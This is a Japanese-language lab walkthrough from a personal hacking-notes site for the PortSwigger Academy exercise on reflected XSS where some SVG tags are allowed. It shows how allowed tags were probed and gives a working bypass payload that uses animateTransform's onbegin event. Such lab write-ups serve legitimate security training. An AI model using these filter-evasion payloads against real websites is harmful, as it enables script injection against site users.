> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/xss/reflected-xss-with-svg-tags-allowed.md).

# 許可されたSVGタグを含む反射型XSS

PortSwigger Web Security Academy のラボ向けメモ。許可されたSVGタグを含む反射型XSSに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### 一部のSVGマークアップが許可された反射型XSS

XSS脆弱性。単純に考えよう。アプリケーションは一般的なHTMLタグをブロックするが、一部のSVGタグと特定の属性/イベントは通過させる。目的：トリガーする `alert()` SVGタグ経由で。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6e342c576eadfabfd43555719665a0581b5aff%2F%7BF281A669-97E0-42B4-A6FA-2DF3DC9B8AD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 一般的なHTMLタグはブロックされる。
* 許可されたタグの大まかな総当たり/調査が行われる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8de12bf14f3426efde0f8d732a8a0b6292a1fdf%2F%7B7DF6EEFF-F047-4412-84A4-168EB1FA742D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* 検出されたタグを示すサーバー応答 / テスト： `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* 連続挿入テスト：
* `<svg><animateTransform a=1>` — 基本的な挿入。
* エンコードの試み / スペースの変化： `<svg><animateTransform%20a=1>` — フィルタリングを回避するため。
* 利用可能な `onbegin` イベントは～で見つけることができる `animateTransform`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd8029b8614da957bf5eeed913d0bf41392db4a%2F%7BC4F662EE-4950-42C5-A8AC-9DC998B1DDCC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c45c05c394c950b264594367548f703ba40ae8a2%2F%7B90337C91-94BF-4483-842F-6F0199B16A89%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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